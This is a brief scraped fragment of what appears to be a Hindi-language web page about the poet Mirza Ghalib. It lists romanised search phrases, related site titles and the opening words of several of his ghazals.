mirza galib galib ke khat mahanh shayar mirza galib mirza galib hazir ho mirza galib ustadoan ke ustad shayar mirja galib divan e galib mirza galib ki shayari	Mirza Ghalib Official Website Ghalib Institute Mirza Ghalib Mirza Galib Shayari Mirza Ghalib Mirza Ghalib’s Haveli Mirza Ghalib (1796-1869) Mirza Ghalib, b. Agra, 1797-1869	mirza galib ki gazalean daunalod karean bazicha e aftal hai duniya mere age koee ummid bhar nahian ati unake dekhe se jo hazaroan khvahishean aisi... ah ko chahie nuqtachi hai gamean dil dil-e-nadan tujhe

link=#top|center|oopar jayean

sanbandhit lekh

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